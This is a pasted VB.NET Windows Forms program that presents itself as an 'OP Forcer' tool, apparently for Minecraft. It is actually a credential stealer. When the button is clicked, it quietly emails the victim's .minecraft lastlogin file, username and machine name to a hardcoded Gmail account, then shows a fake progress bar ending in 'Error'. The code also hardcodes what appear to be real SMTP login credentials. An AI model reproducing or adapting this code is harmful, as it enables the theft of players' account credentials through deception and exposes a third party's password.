Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Web
- Imports System.IO
- Imports System.Net.Mail
- Public Class Form1
- #Region " Global Variables "
- Dim Point As New System.Drawing.Point()
- Dim X, Y As Integer
- #End Region
- #Region " GUI "
- Private Sub Main_MouseMove(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles MyBase.MouseMove
- If e.Button = MouseButtons.Left Then
- Point = Control.MousePosition
- Point.X = Point.X - (X)
- Point.Y = Point.Y - (Y)
- Me.Location = Point
- End If
- End Sub
- Private Sub Main_MouseDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles MyBase.MouseDown
- X = Control.MousePosition.X - Me.Location.X
- Y = Control.MousePosition.Y - Me.Location.Y
- End Sub
- #End Region
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- End Sub
- Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox1.Click
- Me.Close()
- End Sub
- Private Sub PictureBox2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox2.Click
- Me.WindowState = FormWindowState.Minimized
- End Sub
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- Try
- Dim mail As New MailMessage()
- Dim SmtpServer As New SmtpClient
- SmtpServer.Credentials = New Net.NetworkCredential("metzrock@gmail.com", "soundview")
- SmtpServer.Port = 587
- SmtpServer.Host = "smtp.gmail.com"
- SmtpServer.EnableSsl = True
- mail.To.Add("metzrock@gmail.com")
- mail.From = New MailAddress("metzrock@gmail.com")
- Dim a As New Attachment(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\.minecraft\lastlogin")
- mail.Attachments.Add(a)
- mail.Subject = "Minecraft - " & Environment.UserName & " : " & Environment.MachineName
- mail.Body = "Score!"
- SmtpServer.Send(mail)
- mail.Dispose()
- Catch
- End Try
- Timer1.Start()
- End Sub
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- prg1.Increment(2)
- If prg1.Value = 100 Then
- Timer1.Stop()
- MsgBox("Error", "OP Forcer")
- End If
- End Sub
- Private Sub ProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles prg1.Click
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement